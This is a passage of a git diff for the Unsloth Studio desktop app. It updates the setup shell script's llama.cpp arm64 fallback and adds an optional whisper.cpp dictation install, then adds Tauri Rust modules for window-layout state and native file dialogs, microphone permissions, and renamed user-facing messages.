             fi
@@ -1939,19 +1935,19 @@ else
 fi  # end _SKIP_GGUF_BUILD check
 
 # ── arm64 Linux GPU: CPU prebuilt as a last resort ──
-# arm64 Linux with a GPU has no CUDA prebuilt anywhere (the unslothai fork is
-# x64 only; ggml-org ships no Linux CUDA build), so it source-builds for the
-# GPU above. If that produced no binary, install ggml-org's arm64 CPU prebuilt
-# instead of leaving the host without llama.cpp.
+# An arm64 Linux GPU host source-builds for the GPU above. If that produced no
+# binary, install the fork's arm64 CPU prebuilt (app-<tag>-linux-arm64-cpu.tar.gz)
+# instead of leaving the host without llama.cpp. --cpu-fallback drops the GPU
+# attributes so the CPU bundle is selected rather than re-attempting CUDA.
 if [ "$_LLAMA_CPP_DEGRADED" = true ] \
         && [ "$_HOST_SYSTEM" = "Linux" ] \
         && { [ "$_HOST_MACHINE" = "aarch64" ] || [ "$_HOST_MACHINE" = "arm64" ]; }; then
-    substep "GPU source build unavailable; trying ggml-org arm64 CPU prebuilt..."
+    substep "GPU source build unavailable; trying arm64 CPU prebuilt..."
     _ARM64_CPU_CMD=(
         python "$SCRIPT_DIR/install_llama_prebuilt.py"
         --install-dir "$LLAMA_CPP_DIR"
         --llama-tag "$_REQUESTED_LLAMA_TAG"
-        --published-repo "ggml-org/llama.cpp"
+        --published-repo "unslothai/llama.cpp"
         --cpu-fallback
     )
     # Trust the installer's exit code: it validates the server before exiting 0,
@@ -1963,6 +1959,107 @@ if [ "$_LLAMA_CPP_DEGRADED" = true ] \
     fi
 fi
 
+if [ ! -L "$LLAMA_CPP_DIR" ] && {
+    [ "$_STUDIO_HOME_IS_CUSTOM" != true ] ||
+        [ -f "$LLAMA_CPP_DIR/$_STUDIO_OWNED_MARKER" ] ||
+        _studio_owned_adoptable "$LLAMA_CPP_DIR"
+}; then
+    _remove_agent_instruction_files "$LLAMA_CPP_DIR"
+fi
+
+# ── whisper.cpp (local speech-to-text dictation engine) ──
+# Optional runtime for local dictation. Fail-open: any failure leaves the
+# Transformers STT engine and browser dictation working, so it never aborts
+# setup (unlike llama.cpp). Runs in 'unsloth studio update' too so the runtime
+# installs/refreshes without a compiler. Installs beside llama.cpp under the
+# same managed home the sidecar's _managed_whisper_cpp_dir() resolves.
+WHISPER_CPP_DIR="$UNSLOTH_HOME/whisper.cpp"
+if [ -n "${WHISPER_SERVER_PATH:-}" ] || [ -n "${UNSLOTH_WHISPER_CPP_PATH:-}" ]; then
+    verbose_substep "whisper.cpp: using a user-configured binary/dir; skipping managed install"
+elif [ "${UNSLOTH_SKIP_WHISPER_INSTALL:-0}" = "1" ]; then
+    verbose_substep "whisper.cpp: install skipped (UNSLOTH_SKIP_WHISPER_INSTALL=1)"
+else
+    if [ "$_STUDIO_HOME_IS_CUSTOM" = true ]; then
+        _assert_studio_owned_or_absent "$WHISPER_CPP_DIR" "whisper.cpp install"
+    fi
+    _WHISPER_CMD=(python "$SCRIPT_DIR/install_whisper_prebuilt.py" --install-dir "$WHISPER_CPP_DIR")
+    if [ -n "${UNSLOTH_WHISPER_RELEASE_TAG:-}" ]; then
+        _WHISPER_CMD+=(--published-release-tag "$UNSLOTH_WHISPER_RELEASE_TAG")
+    fi
+    if [ -n "${_setup_gfx:-}" ]; then
+        _WHISPER_CMD+=(--rocm-gfx "$_setup_gfx")
+    elif [ "$_setup_amd_detected" = true ]; then
+        _WHISPER_CMD+=(--has-rocm)
+    fi
+    _WHISPER_LOG="$(mktemp)"
+    set +e
+    if _is_verbose; then
+        "${_WHISPER_CMD[@]}" 2>&1 | tee "$_WHISPER_LOG"
+        _WHISPER_STATUS=${PIPESTATUS[0]}
+    else
+        "${_WHISPER_CMD[@]}" >"$_WHISPER_LOG" 2>&1
+        _WHISPER_STATUS=$?
+    fi
+    set -e
+    if [ "$_WHISPER_STATUS" -eq 0 ]; then
+        if grep -Fq "already matches" "$_WHISPER_LOG"; then
+            step "whisper.cpp" "prebuilt up to date"
+        else
+            step "whisper.cpp" "prebuilt installed"
+        fi
+        if [ "$_STUDIO_HOME_IS_CUSTOM" = true ] && [ -d "$WHISPER_CPP_DIR" ]; then
+            : > "$WHISPER_CPP_DIR/$_STUDIO_OWNED_MARKER" 2>/dev/null || true
+        fi
+        rm -f "$_WHISPER_LOG"
+    elif [ "$_WHISPER_STATUS" -eq 3 ]; then
+        # A warm dictation server holds the binary; keep the old install.
+        step "whisper.cpp" "install busy; keeping existing runtime" "$C_WARN"
+        rm -f "$_WHISPER_LOG"
+    else
+        # A source build is opt-in. Keep the installer log until fallback has
+        # finished so setup can distinguish release skew from an operational
+        # installer failure and report the exact pairing when available.
+        _WHISPER_RECOVERED=false
+        _WHISPER_BUILD="$SCRIPT_DIR/../scripts/build_whisper_cpp.sh"
+        if [ "${UNSLOTH_WHISPER_FORCE_COMPILE:-0}" = "1" ] && [ -f "$_WHISPER_BUILD" ] \
+                && command -v cmake >/dev/null 2>&1 && command -v git >/dev/null 2>&1; then
+            substep "whisper.cpp prebuilt unavailable; building from source (UNSLOTH_WHISPER_FORCE_COMPILE=1)..."
+            # The source build overwrites whisper-server in the managed dir but
+            # knows nothing about the prebuilt marker; a stale marker would make
+            # a later setup run report "already matches" and skip repairing the
+            # prebuilt over the source binary. Drop it before building.
+            rm -f "$WHISPER_CPP_DIR/UNSLOTH_WHISPER_PREBUILT_INFO.json" 2>/dev/null || true
+            if run_quiet_no_exit "whisper.cpp source build" sh "$_WHISPER_BUILD"; then
+                _WHISPER_RECOVERED=true
+                step "whisper.cpp" "source build installed"
+                if [ "$_STUDIO_HOME_IS_CUSTOM" = true ] && [ -d "$WHISPER_CPP_DIR" ]; then
+                    : > "$WHISPER_CPP_DIR/$_STUDIO_OWNED_MARKER" 2>/dev/null || true
+                fi
+            else
+                :
+            fi
+        fi
+        if [ "$_WHISPER_RECOVERED" != true ]; then
+            if [ "$_WHISPER_STATUS" -eq 2 ]; then
+                _WHISPER_REQUIRED_TAG="$(sed -n 's/.*slim bundle requires llama\.cpp \([^; ]*\).*/\1/p' "$_WHISPER_LOG" | tail -n 1)"
+                _WHISPER_INSTALLED_TAG="$(python - "$UNSLOTH_HOME/llama.cpp/UNSLOTH_PREBUILT_INFO.json" <<'PY' 2>/dev/null || true
+import json, sys
+try:
+    print(json.load(open(sys.argv[1], encoding="utf-8")).get("release_tag", ""))
+except Exception:
+    pass
+PY
+)"
+                _WHISPER_PAIRING="installed llama.cpp ${_WHISPER_INSTALLED_TAG:-unknown}; whisper requires ${_WHISPER_REQUIRED_TAG:-unknown}"
+                step "whisper.cpp" "no compatible prebuilt ($_WHISPER_PAIRING); curated whisper.cpp dictation is unavailable; publish the paired releases in llama.cpp then whisper.cpp order; browser and Transformers dictation remain available" "$C_WARN"
+            else
+                step "whisper.cpp" "prebuilt install failed; curated whisper.cpp dictation is unavailable; retry setup or inspect verbose output; browser and Transformers dictation remain available" "$C_WARN"
+            fi
+        fi
+        rm -f "$_WHISPER_LOG"
+    fi
+fi
+
 # ── Footer ──
 if [ "$_LLAMA_ONLY" = "1" ]; then
     echo ""
@@ -1997,15 +2094,15 @@ else
     else
         printf "  ${C_DIM}%-15s${C_OK}%s${C_RST}\n" "launch" "unsloth studio -p 8888"
     fi
-    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add -H 0.0.0.0 to allow network / cloud access)"
-    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
+    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
 fi
 echo ""
 
 # When called from install.sh (SKIP_STUDIO_BASE=1), exit non-zero so the
 # installer can report the GGUF failure after finishing PATH/shortcut setup.
 # When called directly via 'unsloth studio update', keep the install
-# successful -- the footer above already reports the limitation and Studio
+# successful -- the footer above already reports the limitation and Unsloth
 # is still usable for non-GGUF workflows.
 if [ "$_LLAMA_CPP_DEGRADED" = true ] && [ "${SKIP_STUDIO_BASE:-0}" = "1" ]; then
     exit 1
diff --git a/studio/src-tauri/Cargo.lock b/studio/src-tauri/Cargo.lock
index 183cfc1cc8..604bb01525 100644
--- a/studio/src-tauri/Cargo.lock
+++ b/studio/src-tauri/Cargo.lock
@@ -5592,6 +5592,7 @@ dependencies = [
  "tauri-plugin-single-instance",
  "tauri-plugin-updater",
  "tauri-plugin-window-state",
+ "tempfile",
  "tokio",
  "windows 0.62.2",
  "windows-sys 0.61.2",
diff --git a/studio/src-tauri/Cargo.toml b/studio/src-tauri/Cargo.toml
index 438558fe77..826509ce9a 100644
--- a/studio/src-tauri/Cargo.toml
+++ b/studio/src-tauri/Cargo.toml
@@ -29,6 +29,7 @@ tauri-plugin-clipboard-manager = "2"
 tauri-plugin-dialog = "2"
 rand = "0.10.0"
 tauri-plugin-notification = "2.3.3"
+tempfile = "3"
 tauri-plugin-window-state = "2"
 
 [target.'cfg(unix)'.dependencies]
diff --git a/studio/src-tauri/Entitlements.plist b/studio/src-tauri/Entitlements.plist
index 10e6df3427..71b1d2c0f4 100644
--- a/studio/src-tauri/Entitlements.plist
+++ b/studio/src-tauri/Entitlements.plist
@@ -8,6 +8,9 @@
     <!-- Network access for backend health checks and HuggingFace API -->
     <key>com.apple.security.network.client</key>
     <true/>
+    <!-- Permit microphone capture for local dictation -->
+    <key>com.apple.security.device.audio-input</key>
+    <true/>
     <!-- Allow loading Python/venv libraries not signed by us -->
     <key>com.apple.security.cs.disable-library-validation</key>
     <true/>
diff --git a/studio/src-tauri/Info.plist b/studio/src-tauri/Info.plist
new file mode 100644
index 0000000000..e7a280647b
--- /dev/null
+++ b/studio/src-tauri/Info.plist
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+    <key>NSMicrophoneUsageDescription</key>
+    <string>Unsloth Studio uses the microphone you select for local voice dictation.</string>
+</dict>
+</plist>
diff --git a/studio/src-tauri/src/app_layout.rs b/studio/src-tauri/src/app_layout.rs
new file mode 100644
index 0000000000..9b9277b48d
--- /dev/null
+++ b/studio/src-tauri/src/app_layout.rs
@@ -0,0 +1,274 @@
+use std::fs;
+use std::path::{Path, PathBuf};
+use tauri::{Manager, WebviewWindow};
+
+use tauri_plugin_window_state::AppHandleExt;
+
+const APP_LAYOUT_MARKER_FILE: &str = "app-layout-initialized-v1";
+const INITIALIZED_MARKER: &[u8] = b"initialized\n";
+const RESET_MARKER: &[u8] = b"reset\n";
+
+const SETUP_WINDOW_WIDTH: f64 = 760.0;
+const SETUP_WINDOW_HEIGHT: f64 = 560.0;
+const MIN_REASONABLE_WINDOW_WIDTH: u64 = 320;
+const MIN_REASONABLE_WINDOW_HEIGHT: u64 = 240;
+
+const SETUP_SIZE_TOLERANCE_PX: f64 = 2.0;
+
+#[derive(serde::Deserialize)]
+struct PersistedWindowState {
+    width: u32,
+    height: u32,
+    #[serde(rename = "x")]
+    _x: i32,
+    #[serde(rename = "y")]
+    _y: i32,
+    #[serde(rename = "prev_x")]
+    _prev_x: i32,
+    #[serde(rename = "prev_y")]
+    _prev_y: i32,
+    #[serde(rename = "maximized")]
+    _maximized: bool,
+    #[serde(rename = "visible")]
+    _visible: bool,
+    #[serde(rename = "decorated")]
+    _decorated: bool,
+    #[serde(rename = "fullscreen")]
+    _fullscreen: bool,
+}
+
+fn marker_path(config_dir: &Path) -> PathBuf {
+    config_dir.join(APP_LAYOUT_MARKER_FILE)
+}
+
+fn marker_matches(config_dir: &Path, expected: &[u8]) -> bool {
+    fs::read(marker_path(config_dir))
+        .map(|contents| contents == expected)
+        .unwrap_or(false)
+}
+
+fn is_initialized(config_dir: &Path) -> bool {
+    marker_matches(config_dir, INITIALIZED_MARKER)
+}
+
+fn is_reset_pending(config_dir: &Path) -> bool {
+    marker_matches(config_dir, RESET_MARKER)
+}
+
+fn write_marker(config_dir: &Path, contents: &[u8]) -> Result<(), String> {
+    fs::create_dir_all(config_dir).map_err(|error| {
+        format!(
+            "Failed to create app configuration directory {}: {error}",
+            config_dir.display()
+        )
+    })?;
+    let path = marker_path(config_dir);
+    fs::write(&path, contents).map_err(|error| {
+        format!(
+            "Failed to write app layout marker {}: {error}",
+            path.display()
+        )
+    })
+}
+
+fn reset_initialized(config_dir: &Path) -> Result<(), String> {
+    write_marker(config_dir, RESET_MARKER)
+}
+
+fn is_setup_window_size(width: u64, height: u64) -> bool {
+    // Window-state persists physical dimensions but not their source scale.
+    let width_scale = width as f64 / SETUP_WINDOW_WIDTH;
+    let height_scale = height as f64 / SETUP_WINDOW_HEIGHT;
+    let scale_tolerance = SETUP_SIZE_TOLERANCE_PX / SETUP_WINDOW_WIDTH
+        + SETUP_SIZE_TOLERANCE_PX / SETUP_WINDOW_HEIGHT;
+    (width_scale - height_scale).abs() <= scale_tolerance
+}
+
+fn saved_main_window_size(config_dir: &Path, state_file_name: &str) -> Option<(u64, u64)> {
+    let contents = fs::read(config_dir.join(state_file_name)).ok()?;
+    let states = serde_json::from_slice::<std::collections::HashMap<String, PersistedWindowState>>(
+        &contents,
+    )
+    .ok()?;
+    let main = states.get("main")?;
+    let width = u64::from(main.width);
+    let height = u64::from(main.height);
+    if width < MIN_REASONABLE_WINDOW_WIDTH || height < MIN_REASONABLE_WINDOW_HEIGHT {
+        return None;
+    }
+    Some((width, height))
+}
+
+fn should_restore_saved_layout(config_dir: &Path, state_file_name: &str) -> bool {
+    if is_reset_pending(config_dir) {
+        return false;
+    }
+    let Some((width, height)) = saved_main_window_size(config_dir, state_file_name) else {
+        return false;
+    };
+    is_initialized(config_dir) || !is_setup_window_size(width, height)
+}
+
+fn mark_initialized(config_dir: &Path) -> Result<(), String> {
+    write_marker(config_dir, INITIALIZED_MARKER)
+}
+
+fn app_config_dir(app: &tauri::AppHandle) -> Result<PathBuf, String> {
+    app.path()
+        .app_config_dir()
+        .map_err(|error| format!("Could not determine app configuration directory: {error}"))
+}
+
+/// Returns whether a full-app layout has previously completed. Legacy state is
+/// migrated unless it matches the fixed setup-window size at any display scale.
+#[tauri::command]
+pub fn has_initialized_app_window_layout(
+    window: WebviewWindow,
+    app: tauri::AppHandle,
+) -> Result<bool, String> {
+    crate::native_intents::ensure_main_window(&window)?;
+    let config_dir = app_config_dir(&app)?;
+    Ok(should_restore_saved_layout(&config_dir, &app.filename()))
+}
+
+/// Persist only after the caller has successfully sized/centered or restored,
+/// shown, constrained, and minimum-sized the full application window.
+#[tauri::command]
+pub fn mark_app_window_layout_initialized(
+    window: WebviewWindow,
+    app: tauri::AppHandle,
+) -> Result<(), String> {
+    crate::native_intents::ensure_main_window(&window)?;
+    mark_initialized(&app_config_dir(&app)?)
+}
+
+/// Force the next full-app transition to use a monitor-safe layout. Setup can
+/// overwrite the plugin's saved full-app dimensions before the process exits.
+#[tauri::command]
+pub fn reset_app_window_layout_initialized(
+    window: WebviewWindow,
+    app: tauri::AppHandle,
+) -> Result<(), String> {
+    crate::native_intents::ensure_main_window(&window)?;
+    reset_initialized(&app_config_dir(&app)?)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use std::time::{SystemTime, UNIX_EPOCH};
+
+    fn temp_dir(name: &str) -> PathBuf {
+        let nanos = SystemTime::now()
+            .duration_since(UNIX_EPOCH)
+            .unwrap()
+            .as_nanos();
+        std::env::temp_dir().join(format!(
+            "unsloth-app-layout-{name}-{}-{nanos}",
+            std::process::id()
+        ))
+    }
+
+    fn window_state(width: u32, height: u32, maximized: bool) -> String {
+        serde_json::json!({
+            "main": {
+                "width": width,
+                "height": height,
+                "x": 0,
+                "y": 0,
+                "prev_x": 0,
+                "prev_y": 0,
+                "maximized": maximized,
+                "visible": true,
+                "decorated": true,
+                "fullscreen": false
+            }
+        })
+        .to_string()
+    }
+
+    #[test]
+    fn marker_is_absent_until_full_layout_is_marked() {
+        let dir = temp_dir("transition");
+        assert!(!is_initialized(&dir));
+        mark_initialized(&dir).unwrap();
+        assert!(is_initialized(&dir));
+        assert_eq!(fs::read(marker_path(&dir)).unwrap(), b"initialized\n");
+        let _ = fs::remove_dir_all(dir);
+    }
+
+    #[test]
+    fn marker_write_and_reset_are_idempotent() {
+        let dir = temp_dir("idempotent");
+        mark_initialized(&dir).unwrap();
+        mark_initialized(&dir).unwrap();
+        assert!(is_initialized(&dir));
+        assert!(!is_reset_pending(&dir));
+
+        reset_initialized(&dir).unwrap();
+        reset_initialized(&dir).unwrap();
+        assert!(!is_initialized(&dir));
+        assert!(is_reset_pending(&dir));
+
+        mark_initialized(&dir).unwrap();
+        assert!(is_initialized(&dir));
+        assert!(!is_reset_pending(&dir));
+        let _ = fs::remove_dir_all(dir);
+    }
+
+    #[test]
+    fn legacy_full_app_state_is_migrated_but_setup_state_at_any_scale_is_not() {
+        let dir = temp_dir("legacy-plugin-state");
+        fs::create_dir_all(&dir).unwrap();
+        let state_file = ".window-state.json";
+        let state_path = dir.join(state_file);
+
+        fs::write(&state_path, window_state(1200, 800, false)).unwrap();
+        assert!(should_restore_saved_layout(&dir, state_file));
+
+        fs::write(&state_path, window_state(760, 560, false)).unwrap();
+        assert!(!should_restore_saved_layout(&dir, state_file));
+
+        fs::write(&state_path, window_state(950, 700, false)).unwrap();
+        assert!(!should_restore_saved_layout(&dir, state_file));
+
+        fs::write(&state_path, window_state(1520, 1120, false)).unwrap();
+        assert!(!should_restore_saved_layout(&dir, state_file));
+
+        fs::write(&state_path, window_state(1520, 1120, true)).unwrap();
+        assert!(!should_restore_saved_layout(&dir, state_file));
+        let _ = fs::remove_dir_all(dir);
+    }
+
+    #[test]
+    fn explicit_reset_blocks_legacy_migration_until_app_layout_completes() {
+        let dir = temp_dir("reset-migration");
+        fs::create_dir_all(&dir).unwrap();
+        let state_file = ".window-state.json";
+        fs::write(dir.join(state_file), window_state(1200, 800, false)).unwrap();
+
+        mark_initialized(&dir).unwrap();
+        assert!(should_restore_saved_layout(&dir, state_file));
+        reset_initialized(&dir).unwrap();
+        assert!(!should_restore_saved_layout(&dir, state_file));
+        mark_initialized(&dir).unwrap();
+        assert!(should_restore_saved_layout(&dir, state_file));
+        let _ = fs::remove_dir_all(dir);
+    }
+
+    #[test]
+    fn corrupt_plugin_state_does_not_restore_even_with_initialized_marker() {
+        let dir = temp_dir("plugin-state");
+        fs::create_dir_all(&dir).unwrap();
+        let state_file = ".window-state.json";
+        fs::write(
+            dir.join(state_file),
+            r#"{"main":{"width":1200,"height":800}}"#,
+        )
+        .unwrap();
+        mark_initialized(&dir).unwrap();
+        assert!(is_initialized(&dir));
+        assert!(!should_restore_saved_layout(&dir, state_file));
+        let _ = fs::remove_dir_all(dir);
+    }
+}
diff --git a/studio/src-tauri/src/commands.rs b/studio/src-tauri/src/commands.rs
index 6bc2116786..72ea9d6985 100644
--- a/studio/src-tauri/src/commands.rs
+++ b/studio/src-tauri/src/commands.rs
@@ -25,12 +25,12 @@ fn should_emit_repair_failed(msg: &str) -> bool {
 fn external_conflict_message(conflict: &crate::preflight::ExternalBackendConflict) -> String {
     if conflict.reason == "desktop_owned_backend_active" {
         return format!(
-            "A desktop-owned Studio server for this install is already running on port {}. Quit the other desktop app instance, then try again.",
+            "A desktop-owned Unsloth server for this install is already running on port {}. Quit the other desktop app instance, then try again.",
             conflict.port
         );
     }
     format!(
-        "A Studio server for this install is already running from a terminal on port {}. Stop that server, or run `unsloth studio update` from that terminal before using desktop repair/update.",
+        "An Unsloth server for this install is already running from a terminal on port {}. Stop that server, or run `unsloth studio update` from that terminal before using desktop repair/update.",
         conflict.port
     )
 }
@@ -339,11 +339,21 @@ pub fn get_server_logs(state: tauri::State<'_, BackendState>) -> Vec<String> {
 
 /// Open an existing directory in the system file manager. Validates the path
 /// up front so callers get a clean error instead of a raw OS failure.
-fn open_existing_dir(dir: &std::path::Path) -> Result<(), String> {
+fn open_existing_dir_with<E>(
+    dir: &std::path::Path,
+    opener: impl FnOnce(&std::path::Path) -> Result<(), E>,
+) -> Result<(), String>
+where
+    E: std::fmt::Display,
+{
     if !dir.is_dir() {
         return Err(format!("Directory does not exist: {}", dir.display()));
     }
-    open::that(dir).map_err(|e| format!("Failed to open directory: {}", e))
+    opener(dir).map_err(|error| format!("Failed to open directory: {error}"))
+}
+
+fn open_existing_dir(dir: &std::path::Path) -> Result<(), String> {
+    open_existing_dir_with(dir, |path| open::that_detached(path))
 }
 
 /// Open the Unsloth Studio directory in the system file manager.
@@ -475,7 +485,7 @@ pub async fn start_backend_update(
         .map_err(|e| format!("Update task panicked: {e}"))?
 }
 
-/// Repair a stale managed Studio install.
+/// Repair a stale managed Unsloth install.
 #[tauri::command]
 pub async fn start_managed_repair(
     app: AppHandle,
@@ -522,7 +532,7 @@ pub async fn start_managed_repair(
     let repair_group_id = install::take_pending_repair_group_for_resume(&install_state)
         .unwrap_or_else(|| diagnostics::begin_repair_group(&diagnostics_state));
 
-    let _ = app.emit("repair-progress", "Updating existing Studio install...");
+    let _ = app.emit("repair-progress", "Updating existing Unsloth install...");
     let update_app = app.clone();
     let update_state = update_state.inner().clone();
     let update_diagnostics = diagnostics_state.clone();
@@ -549,7 +559,7 @@ pub async fn start_managed_repair(
             warn!("Managed repair update finished, but preflight is still not ready; falling back to installer");
             let _ = app.emit(
                 "repair-progress",
-                "Update finished, but Studio is still not ready. Running bundled installer...",
+                "Update finished, but Unsloth is still not ready. Running bundled installer...",
             );
         }
         Err(msg) => {
@@ -627,7 +637,7 @@ pub async fn start_managed_repair(
         return Ok(());
     }
 
-    let msg = "Repair finished, but Studio install is still not desktop-ready.".to_string();
+    let msg = "Repair finished, but Unsloth install is still not desktop-ready.".to_string();
     error!("{}", msg);
     diagnostics::finish_repair_group(
         &diagnostics_state,
@@ -641,7 +651,8 @@ pub async fn start_managed_repair(
 
 #[cfg(test)]
 mod tests {
-    use std::time::Duration;
+    use std::fs;
+    use std::time::{Duration, SystemTime, UNIX_EPOCH};
     use tokio::io::{AsyncReadExt, AsyncWriteExt};
     use tokio::net::TcpListener;
 
@@ -699,6 +710,40 @@ mod tests {
         port
     }
 
+    #[test]
+    fn existing_directory_helper_invokes_opener_and_surfaces_errors() {
+        let nanos = SystemTime::now()
+            .duration_since(UNIX_EPOCH)
+            .unwrap()
+            .as_nanos();
+        let dir =
+            std::env::temp_dir().join(format!("unsloth-open-dir-{}-{nanos}", std::process::id()));
+        fs::create_dir_all(&dir).unwrap();
+        let mut opened = false;
+        super::open_existing_dir_with(&dir, |path| {
+            opened = true;
+            assert_eq!(path, dir);
+            Ok::<_, &str>(())
+        })
+        .unwrap();
+        assert!(opened);
+
+        let error = super::open_existing_dir_with(&dir, |_| Err("opener failed")).unwrap_err();
+        assert!(error.contains("opener failed"));
+        let _ = fs::remove_dir_all(dir);
+    }
+
+    #[test]
+    fn existing_directory_helper_rejects_missing_path_without_opening() {
+        let missing = std::env::temp_dir().join("unsloth-definitely-missing-open-dir");
+        let error = super::open_existing_dir_with(&missing, |_| {
+            panic!("opener must not run for an invalid directory");
+            #[allow(unreachable_code)]
+            Ok::<_, &str>(())
+        })
+        .unwrap_err();
+        assert!(error.contains("Directory does not exist"));
+    }
     #[test]
     fn repair_elevation_is_not_a_terminal_repair_failure() {
         assert!(!super::should_emit_repair_failed("NEEDS_ELEVATION"));
diff --git a/studio/src-tauri/src/desktop_auth.rs b/studio/src-tauri/src/desktop_auth.rs
index 33605f6c65..db65b8796f 100644
--- a/studio/src-tauri/src/desktop_auth.rs
+++ b/studio/src-tauri/src/desktop_auth.rs
@@ -201,7 +201,7 @@ async fn exchange_desktop_secret(
 
     if response.status() == reqwest::StatusCode::NOT_FOUND {
         return Err(AuthError::StaleResponder(
-            "Running Studio backend is too old for this desktop app. Update that backend and restart."
+            "Running Unsloth backend is too old for this desktop app. Update that backend and restart."
                 .to_string(),
         ));
     }
@@ -364,7 +364,7 @@ async fn desktop_auth_inner(
     }
 
     Err(
-        "Desktop auth failed. Update or repair the managed Studio install, then restart Studio."
+        "Desktop auth failed. Update or repair the managed Unsloth install, then restart Unsloth."
             .to_string(),
     )
 }
@@ -465,7 +465,7 @@ mod tests {
             .message();
         assert_eq!(
             error,
-            "Running Studio backend is too old for this desktop app. Update that backend and restart."
+            "Running Unsloth backend is too old for this desktop app. Update that backend and restart."
         );
     }
 }
diff --git a/studio/src-tauri/src/main.rs b/studio/src-tauri/src/main.rs
index 4ed12051ed..405b390177 100644
--- a/studio/src-tauri/src/main.rs
+++ b/studio/src-tauri/src/main.rs
@@ -1,5 +1,6 @@
 #![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
 
+mod app_layout;
 mod commands;
 mod desktop_auth;
 mod desktop_backend_owner;
@@ -7,6 +8,7 @@ mod desktop_update_policy;
 mod diagnostics;
 mod install;
 mod native_backend_lease;
+mod native_file_dialogs;
 mod native_intents;
 mod native_path_policy;
 mod preflight;
@@ -107,7 +109,7 @@ fn cleanup_child_processes(app: &tauri::AppHandle) {
 }
 
 fn setup_tray(app: &tauri::App) -> Result<(), Box<dyn std::error::Error>> {
-    let open = MenuItemBuilder::with_id("open", "Open Studio").build(app)?;
+    let open = MenuItemBuilder::with_id("open", "Open Unsloth").build(app)?;
     let toggle = MenuItemBuilder::with_id("toggle", "Start/Stop Server").build(app)?;
     let quit = MenuItemBuilder::with_id("quit", "Quit").build(app)?;
     let menu = MenuBuilder::new(app)
@@ -195,6 +197,9 @@ fn main() {
         .manage(process::new_shutdown_flag())
         .manage(update::new_update_state())
         .invoke_handler(tauri::generate_handler![
+            app_layout::has_initialized_app_window_layout,
+            app_layout::mark_app_window_layout_initialized,
+            app_layout::reset_app_window_layout_initialized,
             commands::check_install_status,
             commands::desktop_preflight,
             commands::start_install,
@@ -213,9 +218,12 @@ fn main() {
             desktop_update_policy::check_desktop_manual_update,
             desktop_update_policy::desktop_update_policy,
             diagnostics::collect_support_diagnostics,
+            native_file_dialogs::save_native_file,
+            native_file_dialogs::pick_native_chat_import,
             native_intents::drain_native_intents,
             native_intents::register_native_model_path,
             native_intents::pick_native_model,
+            native_intents::pick_hugging_face_cache_dir,
             native_intents::consume_native_path_token,
             native_intents::register_artifact_path,
             native_intents::reveal_path_token,
diff --git a/studio/src-tauri/src/native_file_dialogs.rs b/studio/src-tauri/src/native_file_dialogs.rs
new file mode 100644
index 0000000000..d795eb020c
--- /dev/null
+++ b/studio/src-tauri/src/native_file_dialogs.rs
@@ -0,0 +1,320 @@
+use base64::{engine::general_purpose::STANDARD as BASE64, Engine as _};
+
+use serde::Serialize;
+use std::fs::{self, File};
+use std::io::{Read, Write};
+use std::path::{Path, PathBuf};
+use tauri::{AppHandle, WebviewWindow};
+use tauri_plugin_dialog::DialogExt;
+
+const MAX_CHAT_IMPORT_BYTES: u64 = 64 * 1024 * 1024;
+const NATIVE_FILE_NAME_HEADER: &str = "x-unsloth-default-name";
+const CHAT_IMPORT_EXTENSIONS: &[&str] = &["jsonl", "ndjson", "csv"];
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct NativeImportedFile {
+    name: String,
+    content: String,
+}
+
+fn default_file_name(suggested_name: &str) -> String {
+    Path::new(suggested_name)
+        .file_name()
+        .and_then(|name| name.to_str())
+        .filter(|name| !name.is_empty() && *name != "." && *name != "..")
+        .unwrap_or("unsloth-export.json")
+        .to_string()
+}
+fn decode_default_file_name(encoded_name: &str) -> Result<String, String> {
+    let bytes = BASE64
+        .decode(encoded_name)
+        .map_err(|_| "Invalid native export filename.".to_string())?;
+    let name =
+        String::from_utf8(bytes).map_err(|_| "Invalid native export filename.".to_string())?;
+    Ok(default_file_name(&name))
+}
+
+fn save_filter(file_name: &str) -> (&'static str, Vec<&'static str>) {
+    match Path::new(file_name)
+        .extension()
+        .and_then(|extension| extension.to_str())
+        .map(str::to_ascii_lowercase)
+        .as_deref()
+    {
+        Some("json") => ("JSON", vec!["json"]),
+        Some("jsonl") | Some("ndjson") => ("JSON Lines", vec!["jsonl", "ndjson"]),
+        Some("csv") => ("CSV", vec!["csv"]),
+        Some("md") | Some("markdown") => ("Markdown", vec!["md", "markdown"]),
+        Some("zip") => ("ZIP archive", vec!["zip"]),
+        _ => (
+            "Export files",
+            vec!["json", "jsonl", "ndjson", "csv", "md", "markdown", "zip"],
+        ),
+    }
+}
+
+fn local_dialog_path(path: tauri_plugin_dialog::FilePath) -> Result<PathBuf, String> {
+    path.into_path()
+        .map_err(|_| "Only local filesystem paths are supported.".to_string())
+}
+
+fn save_selected_file(
+    selected_path: Option<PathBuf>,
+    content: &[u8],
+) -> Result<Option<String>, String> {
+    let Some(path) = selected_path else {
+        return Ok(None);
+    };
+    let parent = path
+        .parent()
+        .filter(|parent| !parent.as_os_str().is_empty())
+        .unwrap_or_else(|| Path::new("."));
+    let mut builder = tempfile::Builder::new();
+    #[cfg(unix)]
+    {
+        use std::os::unix::fs::PermissionsExt;
+        let permissions = fs::metadata(&path)
+            .map(|metadata| metadata.permissions())
+            .unwrap_or_else(|_| fs::Permissions::from_mode(0o666));
+        builder.permissions(permissions);
+    }
+    let mut temporary = builder
+        .prefix(".unsloth-export-")
+        .tempfile_in(parent)
+        .map_err(|error| format!("Failed to prepare {}: {error}", path.display()))?;
+    temporary
+        .write_all(content)
+        .and_then(|()| temporary.as_file().sync_all())
+        .map_err(|error| format!("Failed to save {}: {error}", path.display()))?;
+    temporary
+        .persist(&path)
